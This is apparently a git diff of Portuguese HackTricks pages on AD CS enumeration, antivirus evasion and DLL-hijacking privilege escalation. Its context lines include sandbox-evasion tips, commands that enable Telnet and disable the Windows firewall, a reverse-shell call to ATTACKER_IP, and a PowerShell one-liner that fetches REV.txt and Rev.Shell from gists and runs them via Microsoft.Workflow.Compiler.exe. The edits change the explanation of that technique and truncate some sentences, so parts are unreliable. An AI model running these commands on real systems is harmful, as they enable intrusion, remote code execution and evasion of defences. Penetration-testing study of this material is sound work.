-* O contêiner **Certification Authorities** define **certificados de CA raiz confiáveis**. Essas CAs estão no **topo da hierarquia da árvore PKI** e são a base da confiança em ambientes AD CS. Cada CA é representada como um objeto AD dentro do contêiner onde a **objectClass** é definida como **`certificationAuthority`** e a propriedade **`cACertificate`** contém os **bytes do certificado da CA**. O Windows propaga esses certificados de CA para o armazenamento de certificados de Autoridades de Certificação Raiz Confiáveis em **cada máquina Windows**. Para que o AD considere um certificado como **confiável**, a cadeia de confiança do certificado deve eventualmente **terminar com um dos CA raiz** definidos neste contêiner.
+* O contêiner **Certification Authorities** define **certificados de CA raiz confiáveis**. Essas CAs estão no **topo da hierarquia da árvore PKI** e são a base da confiança em ambientes AD CS. Cada CA é representada como um objeto AD dentro do contêiner onde o **objectClass** é definido como **`certificationAuthority`** e a propriedade **`cACertificate`** contém os **bytes do certificado da CA**. O Windows propaga esses certificados de CA para o armazenamento de certificados de Autoridades de Certificação Raiz Confiáveis em **cada máquina Windows**. Para que o AD considere um certificado como **confiável**, a cadeia de confiança do certificado deve eventualmente **terminar com um dos CAs raiz** definidos neste contêiner.
 * O contêiner **Enrolment Services** define cada **CA empresarial** (ou seja, CAs criadas no AD CS com a função de CA empresarial habilitada). Cada CA empresarial tem um objeto AD com os seguintes atributos:
   * Um atributo **objectClass** para **`pKIEnrollmentService`**
   * Um atributo **`cACertificate`** contendo os **bytes do certificado da CA**
@@ -39,12 +39,12 @@ O AD CS define certificados de CA em quatro locais em que a floresta AD confia s
   * Um campo **certificateTemplates** definindo os **modelos de certificado habilitados**. Os modelos de certificado são um "modelo" de configurações que a CA usa ao criar um certificado e incluem coisas como os EKUs, permissões de inscrição, a expiração do certificado, requisitos de emissão e configurações de criptografia. Discutiremos os modelos de certificado com mais detalhes posteriormente.
 
 {% hint style="info" %}
-Em ambientes AD, **os clientes interagem com as CAs empresariais para solicitar um certificado** com base nas configurações definidas em
+Em ambientes AD, **os clientes interagem com as CAs empresariais para solicitar um certificado** com base nas configurações definidas em um modelo de certificado. Os certificados
 ### Direitos de Inscrição de Modelos de Certificado
 
 * **O ACE concede a um principal o direito estendido de inscrição de certificado**. O ACE bruto concede ao principal o direito de acesso `RIGHT_DS_CONTROL_ACCESS45` onde o **ObjectType** é definido como `0e10c968-78fb-11d2-90d4-00c04f79dc5547`. Este GUID corresponde ao direito estendido de **Inscrição de Certificado**.
 * **O ACE concede a um principal o direito estendido de Autoinscrição de Certificado**. O ACE bruto concede ao principal o direito de acesso `RIGHT_DS_CONTROL_ACCESS48` onde o **ObjectType** é definido como `a05b8cc2-17bc-4802-a710-e7c15ab866a249`. Este GUID corresponde ao direito estendido de **Autoinscrição de Certificado**.
-* **Um ACE concede a um principal todos os ExtendedRights**. O ACE bruto habilita o direito de acesso `RIGHT_DS_CONTROL_ACCESS` onde o **ObjectType** é definido como `00000000-0000-0000-0000-000000000000`. Este GUID corresponde a **todos os direitos estendidos**.
+* **Um ACE concede a um principal todos os Direitos Estendidos**. O ACE bruto habilita o direito de acesso `RIGHT_DS_CONTROL_ACCESS` onde o **ObjectType** é definido como `00000000-0000-0000-0000-000000000000`. Este GUID corresponde a **todos os direitos estendidos**.
 * **Um ACE concede a um principal Controle Total/GenericAll**. O ACE bruto habilita o direito de acesso Controle Total/GenericAll.
 
 ### Direitos de Inscrição de CA Empresarial
@@ -55,9 +55,9 @@ O **descritor de segurança** configurado no **CA Empresarial** define esses dir
 
 Isso acaba definindo o valor do registro de segurança na chave **`HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration<NOME DO CA>`** no servidor CA. Encontramos vários servidores AD CS que concedem a usuários com baixo privilégio acesso remoto a essa chave via registro remoto:
 
-<figure><img src="../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (6) (2) (1).png" alt=""><figcaption></figcaption></figure>
 
-Usuários com baixo privilégio também podem **enumerar isso via DCOM** usando o método `GetCASecurity` da interface COM `ICertAdminD2`. No entanto, os clientes Windows normais precisam instalar as Ferramentas de Administração do Servidor Remoto (RSAT) para usá-lo, já que a interface COM e quaisquer objetos COM que a implementem não estão presentes no Windows por padrão.
+Usuários com baixo privilégio também podem **enumerar isso via DCOM** usando o método `GetCASecurity` da interface COM `ICertAdminD2`. No entanto, os clientes normais do Windows precisam instalar as Ferramentas de Administração do Servidor Remoto (RSAT) para usá-lo, já que a interface COM e quaisquer objetos COM que a implementem não estão presentes no Windows por padrão.
 
 ### Requisitos de Emissão
 
@@ -78,18 +78,18 @@ Um uso comum para essas configurações é para **agentes de inscrição**. Um a
 * O usuário do Windows que se autentica no CA tem direitos de inscrição no modelo de certificado de destino.
 * Se a versão do esquema do modelo de certificado for 1, o CA exigirá que os certificados de assinatura tenham o OID do Agente de Solicitação de Certificado antes de emitir o certificado. A versão do esquema do modelo é especificada na propriedade msPKI-Template-Schema-Version do objeto AD do modelo.
 * Se a versão do esquema do modelo de certificado for 2:
-  * O modelo deve definir a configuração "Este número de assinaturas autorizadas" e o número especificado de agentes de inscrição deve assinar o CSR (o atributo mspkira-signature do AD do modelo define essa configuração). Em outras palavras, essa configuração especifica quantos agentes de inscrição devem assinar um CSR antes que o CA considere emitir um certificado.
-  * A restrição de emissão "Política de Aplicação" do modelo deve ser definida
+  * O modelo deve definir a configuração "Este número de assinaturas autorizadas" e o número especificado de agentes de inscrição deve assinar o CSR (o atributo mspkira-signature do modelo define essa configuração). Em outras palavras, essa configuração especifica quantos agentes de inscrição devem assinar um CSR antes que o CA considere emitir um certificado.
+  * A restrição de emissão da "Política de Aplicação" do modelo deve ser definida como
 ## Enumeração do AD CS
 
-Assim como na maioria do AD, todas as informações abordadas até agora estão disponíveis consultando o LDAP como um usuário autenticado no domínio, mas sem privilégios adicionais.
+Assim como para a maioria do AD, todas as informações abordadas até agora estão disponíveis consultando o LDAP como um usuário autenticado no domínio, mas sem privilégios.
 
-Se quisermos **enumerar os CAs empresariais** e suas configurações, podemos consultar o LDAP usando o filtro LDAP `(objectCategory=pKIEnrollmentService)` no local de pesquisa `CN=Configuration,DC=<domínio>,DC=<com>` (este local de pesquisa corresponde ao contexto de nomeação de Configuração da floresta AD). Os resultados identificarão o nome do host DNS do servidor CA, o próprio nome do CA, as datas de início e término do certificado, várias flags, modelos de certificado publicados e muito mais.
+Se quisermos **enumerar os CAs empresariais** e suas configurações, podemos consultar o LDAP usando o filtro LDAP `(objectCategory=pKIEnrollmentService)` na base de pesquisa `CN=Configuration,DC=<domínio>,DC=<com>` (esta base de pesquisa corresponde ao contexto de nomeação de Configuração da floresta AD). Os resultados identificarão o nome do host DNS do servidor CA, o próprio nome do CA, as datas de início e término do certificado, várias flags, modelos de certificado publicados e muito mais.
 
 **Ferramentas para enumerar certificados vulneráveis:**
 
 * [**Certify**](https://github.com/GhostPack/Certify) é uma ferramenta em C# que pode **enumerar informações úteis de configuração e infraestrutura sobre ambientes AD CS** e pode solicitar certificados de várias maneiras diferentes.
-* [**Certipy**](https://github.com/ly4k/Certipy) é uma ferramenta em **python** que pode **enumerar e abusar** dos Serviços de Certificado do Active Directory (**AD CS**) **de qualquer sistema** (com acesso ao DC) que pode gerar saída para o BloodHound criado por [**Lyak**](https://twitter.com/ly4k\_) (boa pessoa, melhor hacker).
+* [**Certipy**](https://github.com/ly4k/Certipy) é uma ferramenta em **python** para poder **enumerar e abusar** dos Serviços de Certificado do Active Directory (**AD CS**) **de qualquer sistema** (com acesso ao DC) que pode gerar saída para o BloodHound criado por [**Lyak**](https://twitter.com/ly4k\_) (boa pessoa, melhor hacker).
 ```bash
 # https://github.com/GhostPack/Certify
 Certify.exe cas #enumerate trusted root CA certificates, certificates defined by the NTAuthCertificates object, and various information about Enterprise CAs
@@ -115,7 +115,7 @@ certutil -v -dstemplate #enumerate certificate templates
 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

windows-hardening/av-bypass.md

@@ -8,7 +8,7 @@
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -38,13 +38,13 @@ Se você desenvolver suas próprias ferramentas, não haverá assinaturas ruins
 Uma boa maneira de verificar a detecção estática do Windows Defender é [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Basicamente, ele divide o arquivo em vários segmentos e, em seguida, solicita que o Defender verifique cada um individualmente, dessa forma, ele pode informar exatamente quais são as strings ou bytes marcados em seu binário.
 {% endhint %}
 
-Recomendo muito que você confira esta [playlist do YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sobre Evasão de AV prática.
+Eu recomendo muito que você confira esta [playlist do YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sobre Evasão de AV prática.
 
 ### **Análise dinâmica**
 
 A análise dinâmica ocorre quando o AV executa seu binário em uma sandbox e observa a atividade maliciosa (por exemplo, tentando descriptografar e ler as senhas do seu navegador, realizando um minidespejo em LSASS, etc.). Essa parte pode ser um pouco mais complicada de trabalhar, mas aqui estão algumas coisas que você pode fazer para evitar as sandboxes.
 
-* **Atraso antes da execução** Dependendo de como é implementado, pode ser uma ótima maneira de contornar a análise dinâmica do AV. Os AVs têm um tempo muito curto para verificar arquivos para não interromper o fluxo de trabalho do usuário, portanto, o uso de longos atrasos pode perturbar a análise de binários. O problema é que muitas sandboxes AV podem simplesmente ignorar o atraso, dependendo de como ele é implementado.
+* **Atraso antes da execução** Dependendo de como é implementado, pode ser uma ótima maneira de contornar a análise dinâmica do AV. Os AVs têm um tempo muito curto para escanear arquivos para não interromper o fluxo de trabalho do usuário, portanto, o uso de longos atrasos pode perturbar a análise de binários. O problema é que muitas sandboxes AV podem simplesmente ignorar o atraso, dependendo de como ele é implementado.
 * **Verificação dos recursos da máquina** Geralmente, as sandboxes têm muito poucos recursos para trabalhar (por exemplo, <2 GB de RAM), caso contrário, elas podem desacelerar a máquina do usuário. Você também pode ser muito criativo aqui, por exemplo, verificando a temperatura da CPU ou até mesmo as velocidades do ventilador, nem tudo será implementado na sandbox.
 * **Verificações específicas da máquina** Se você deseja segmentar um usuário cuja estação de trabalho está associada ao domínio "contoso.local", pode verificar o domínio do computador para ver se ele corresponde ao que você especificou, se não corresponder, você pode fazer seu programa sair.
 
@@ -54,11 +54,11 @@ Acontece que o nome do computador da Sandbox do Microsoft Defender é HAL9TH, en
 
 Algumas outras dicas muito boas de [@mgeeky](https://twitter.com/mariuszbit) para ir contra as Sandboxes
 
-<figure><img src="../.gitbook/assets/image (2) (1) (1) (2).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (2) (1) (1) (2) (1).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
 
 Como dissemos antes neste post, **ferramentas públicas** eventualmente **serão detectadas**, então, você deve se perguntar algo:
 
-Por exemplo, se você deseja despejar LSASS, **você realmente precisa usar o mimikatz**? Ou você poderia usar um projeto diferente que é menos conhecido e também despeja LSASS.
+Por exemplo, se você deseja despejar o LSASS, **você realmente precisa usar o mimikatz**? Ou você poderia usar um projeto diferente que é menos conhecido e também despeja o LSASS.
 
 A resposta certa provavelmente é a última. Tomando o mimikatz como exemplo, é provavelmente um dos, senão o malware mais marcado pelos AVs e EDRs, enquanto o projeto em si é super legal, também é um pesadelo trabalhar com ele para contornar os AVs, então basta procurar alternativas para o que você está tentando alcançar.
 
@@ -68,7 +68,7 @@ Ao modificar seus payloads para evasão, certifique-se de **desativar o envio au
 
 ## EXEs vs DLLs
 
-Sempre que possível, **priorize o uso de DLL
+Sempre que possível, **
 ```powershell
 Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
     $binarytoCheck = "C:\Program Files\" + $_
@@ -85,7 +85,7 @@ Apenas colocar uma DLL maliciosa com o nome que um programa espera carregar não
 
 **DLL Proxying** encaminha as chamadas que um programa faz da DLL proxy (e maliciosa) para a DLL original, preservando assim a funcionalidade do programa e sendo capaz de lidar com a execução da sua carga útil.
 
-Eu usarei o projeto [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
+Eu estarei usando o projeto [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
 
 Estes são os passos que segui: 
 
@@ -117,7 +117,7 @@ Tanto nosso shellcode (codificado com [SGN](https://github.com/EgeBalci/sgn)) qu
 <figure><img src="../.gitbook/assets/image (11) (3).png" alt=""><figcaption></figcaption></figure>
 
 {% hint style="info" %}
-Eu **recomendo fortemente** que você assista ao VOD do twitch de [S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading e também o vídeo de [ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE) para aprender mais sobre o que discutimos de forma mais aprofundada.
+Eu **recomendo fortemente** que você assista ao VOD do twitch [S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading e também o vídeo do [ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE) para aprender mais sobre o que discutimos com mais profundidade.
 {% endhint %}
 
 ## [**Freeze**](https://github.com/optiv/Freeze)
@@ -281,7 +281,7 @@ A maioria dos frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc,
 
 Isso envolve **iniciar um novo processo sacrificial**, injetar seu código malicioso de pós-exploração nesse novo processo, executar seu código malicioso e, quando terminar, matar o novo processo. Isso tem seus benefícios e desvantagens. O benefício do método fork and run é que a execução ocorre **fora** do nosso processo de implante Beacon. Isso significa que se algo em nossa ação pós-exploração der errado ou for detectado, há uma **maior chance** de nosso **implante sobreviver**. A desvantagem é que você tem uma **maior chance** de ser detectado por **Detecções Comportamentais**.
 
-<figure><img src="../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (7) (1) (3).png" alt=""><figcaption></figcaption></figure>
 
 * **Inline**
 
@@ -299,7 +299,7 @@ Você também pode carregar Assembleias C# **do PowerShell**, confira [Invoke-Sh
 
 Conforme proposto em [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), é possível executar código malicioso usando outras linguagens, dando à máquina comprometida acesso **ao ambiente do interpretador instalado no compartilhamento SMB controlado pelo atacante**.&#x20;
 
-Ao permitir o acesso aos binários do interpretador e ao ambiente no compartilhamento SMB, você pode **executar código arbitrário nessas linguagens na memória** da máquina comprometida.
+Ao permitir o acesso aos Binários do Interpretador e ao ambiente no compartilhamento SMB, você pode **executar código arbitrário nessas linguagens na memória** da máquina comprometida.
 
 O repositório indica: O Defender ainda verifica os scripts, mas ao utilizar Go, Java, PHP, etc., temos **mais flexibilidade para contornar assinaturas estáticas**. Testes com scripts de shell reverso não ofuscados aleatórios nessas linguagens foram bem-sucedidos.
 
@@ -307,13 +307,13 @@ O repositório indica: O Defender ainda verifica os scripts, mas ao utilizar Go,
 
 A evasão é um tópico muito complicado, às vezes você tem que levar em conta muitas fontes diferentes de telemetria em apenas um sistema, então é praticamente impossível ficar completamente indetectável em ambientes maduros.
 
-Cada ambiente que você enfrenta terá seus próprios pontos fortes e fracos.
+Cada ambiente contra o qual você vai lutar terá seus próprios pontos fortes e fracos.
 
 Eu recomendo fortemente que você assista a esta palestra de [@ATTL4S](https://twitter.com/DaniLJ94), para ter uma base em técnicas de evasão mais avançadas.
 
 {% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
 
-Esta também é outra ótima palestra de [@mariuszbit](https://twitter.com/mariuszbit) sobre Evasão em Profundidade.
+Esta é também outra ótima palestra de [@mariuszbit](https://twitter.com/mariuszbit) sobre Evasão em Profundidade.
 
 {% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
 
@@ -325,13 +325,13 @@ Até o Windows10, todos os Windows vinham com um **servidor Telnet** que você p
 ```
 pkgmgr /iu:"TelnetServer" /quiet
 ```
-Faça com que ele **inicie** quando o sistema for iniciado e **execute** agora:
+Faça com que ele **inicie** quando o sistema for iniciado e **execute-o** agora:
 ```
 sc config TlntSVR start= auto obj= localsystem
 ```
 **Alterar a porta do telnet** (stealth) e desativar o firewall:
 
-Para evitar a detecção de um ataque, é possível alterar a porta padrão do serviço Telnet para uma porta diferente. Isso dificulta a detecção do serviço pelos administradores de rede e pelos sistemas de detecção de intrusão. Além disso, desativar o firewall pode permitir que o atacante tenha acesso mais fácil ao sistema alvo. No entanto, é importante lembrar que essas ações podem comprometer a segurança do sistema e devem ser realizadas apenas em um ambiente controlado e autorizado.
+Para evitar a detecção de um ataque, é possível alterar a porta padrão do serviço Telnet para uma porta diferente. Isso dificulta a detecção do serviço pelos administradores de rede e pelos sistemas de detecção de intrusão. Além disso, desativar o firewall pode permitir que o atacante tenha acesso mais fácil ao sistema alvo.
 ```
 tlntadmn config port=80
 netsh advfirewall set allprofiles state off
@@ -394,11 +394,7 @@ Compile-o com:
 ```
 c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
 ```
-# Usando com:
-
-Antes de começar a usar as técnicas de bypass de antivírus, é importante ter um ambiente de teste adequado. Isso pode ser feito usando uma máquina virtual ou um ambiente de teste separado. Certifique-se de que o ambiente de teste não esteja conectado à Internet e que não haja dados confidenciais armazenados nele.
-
-Além disso, é importante ter um conhecimento básico de programação e entender como o código funciona. Isso ajudará a entender as técnicas de bypass de antivírus e a personalizá-las para atender às suas necessidades.
+Use com:
 ```
 back.exe <ATTACKER_IP> <PORT>
 ```
@@ -482,7 +478,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe RE
 ```
 Download e execução automática:
 
-O objetivo dessa técnica é fazer o download e execução automática de um arquivo malicioso sem que o antivírus detecte. Para isso, é necessário criar um arquivo REV.txt com o código malicioso e hospedá-lo em um servidor web. Em seguida, é preciso criar um arquivo REV.shell com o código que fará o download e execução automática do arquivo REV.txt. Esse arquivo deve ser salvo com extensão .bat ou .cmd para que possa ser executado no Windows. Por fim, é necessário enviar o arquivo REV.shell para a vítima e convencê-la a executá-lo. Quando o arquivo é executado, ele faz o download do arquivo REV.txt e o executa, permitindo que o invasor tenha acesso ao sistema da vítima.
+O objetivo dessa técnica é fazer o download e execução automática de um arquivo malicioso sem que o usuário perceba. Para isso, é utilizado um arquivo REV.txt que contém um script PowerShell que faz o download do arquivo malicioso REV.shell e o executa. O script é executado através do comando "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NoLogo -Command" que permite a execução do script sem que o usuário perceba. É importante ressaltar que essa técnica pode ser detectada por antivírus que possuem proteção contra download e execução automática de arquivos.
 ```csharp
 64bit:
 powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md

@@ -55,38 +55,38 @@ if ($envPath -notlike "*$folderPath*") {
 * **Depois** que o **arquivo** for **gerado**, **feche** a janela do **`procmon`** aberta e **abra o arquivo de eventos**.
 * Adicione esses **filtros** e você encontrará todas as DLLs que algum **processo tentou carregar** da pasta do caminho do sistema gravável:
 
-<figure><img src="../../../.gitbook/assets/image (18) (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (18).png" alt=""><figcaption></figcaption></figure>
 
 ### DLLs perdidas
 
-Ao executar isso em uma máquina virtual gratuita do **Windows 11 (vmware)**, obtive esses resultados:
+Executando isso em uma máquina virtual gratuita do **Windows 11 (vmware)**, obtive estes resultados:
 
 <figure><img src="../../../.gitbook/assets/image (253).png" alt=""><figcaption></figcaption></figure>
 
-Nesse caso, os arquivos .exe são inúteis, então ignore-os. As DLLs perdidas eram de:
+Neste caso, os arquivos .exe são inúteis, então ignore-os. As DLLs perdidas eram de:
 
-| Serviço | DLL | Linha de comando |
-| --- | --- | --- |
-| Agendador de Tarefas (Schedule) | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule` |
-| Serviço de Política de Diagnóstico (DPS) | Unknown.DLL | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` |
-| ??? | SharedRes.dll | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup` |
+| Serviço                         | Dll                | Linha de comando                                                     |
+| ------------------------------- | ------------------ | -------------------------------------------------------------------- |
+| Agendador de Tarefas (Schedule)       | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule`          |
+| Serviço de Política de Diagnóstico (DPS) | Unknown.DLL        | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` |
+| ???                             | SharedRes.dll      | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup`                |
 
 Depois de encontrar isso, encontrei este interessante post de blog que também explica como [**abusar do WptsExtensions.dll para escalonamento de privilégios**](https://juggernaut-sec.com/dll-hijacking/#Windows\_10\_Phantom\_DLL\_Hijacking\_-\_WptsExtensionsdll). Que é o que vamos fazer agora.
 
 ### Exploração
 
-Portanto, para **escalar privilégios**, vamos sequestrar a biblioteca **WptsExtensions.dll**. Tendo o **caminho** e o **nome**, precisamos apenas **gerar a DLL maliciosa**.
+Então, para **escalar privilégios**, vamos sequestrar a biblioteca **WptsExtensions.dll**. Tendo o **caminho** e o **nome**, só precisamos **gerar a DLL maliciosa**.
 
 Você pode [**tentar usar qualquer um desses exemplos**](../dll-hijacking.md#creating-and-compiling-dlls). Você pode executar payloads como: obter um shell reverso, adicionar um usuário, executar um beacon...
 
 {% hint style="warning" %}
-Observe que **nem todos os serviços são executados** com **`NT AUTHORITY\SYSTEM`**, alguns também são executados com **`NT AUTHORITY\LOCAL SERVICE`**, que tem **menos privilégios** e você **não poderá criar um novo usuário** abusar de suas permissões.\
-No entanto, esse usuário tem o privilégio **`seImpersonate`**, então você pode usar o [**conjunto de ferramentas potato para escalar privilégios**](../roguepotato-and-printspoofer.md). Portanto, nesse caso, um shell reverso é uma opção melhor do que tentar criar um usuário.
+Observe que **nem todos os serviços são executados** com **`NT AUTHORITY\SYSTEM`**, alguns também são executados com **`NT AUTHORITY\LOCAL SERVICE`**, que tem **menos privilégios** e você **não poderá criar um novo usuário** abusando de suas permissões.\
+No entanto, esse usuário tem o privilégio **`seImpersonate`**, então você pode usar o [**conjunto de ferramentas potato para escalar privilégios**](../roguepotato-and-printspoofer.md). Portanto, neste caso, um shell reverso é uma opção melhor do que tentar criar um usuário.
 {% endhint %}
 
 No momento da escrita deste artigo, o serviço **Agendador de Tarefas** é executado com **Nt AUTHORITY\SYSTEM**.
 
-Tendo **gerado a DLL maliciosa** (_no meu caso, usei um shell reverso x64 e consegui um shell de volta, mas o defender o matou porque era do msfvenom_), salve-o no caminho do sistema gravável com o nome **WptsExtensions.dll** e **reinicie** o computador (ou reinicie o serviço ou faça o que for necessário para executar o serviço/programa afetado novamente).
+Tendo **gerado a DLL maliciosa** (_no meu caso, usei um shell reverso x64 e consegui um shell de volta, mas o defender o matou porque era do msfvenom_), salve-a no caminho do sistema gravável com o nome **WptsExtensions.dll** e **reinicie** o computador (ou reinicie o serviço ou faça o que for necessário para executar novamente o serviço/programa afetado).
 
 Quando o serviço for reiniciado, a **DLL deve ser carregada e executada** (você pode **reutilizar** o **truque do procmon** para verificar se a **biblioteca foi carregada conforme o esperado**).
 
@@ -97,7 +97,7 @@ Quando o serviço for reiniciado, a **DLL deve ser carregada e executada** (voc
 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
+* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>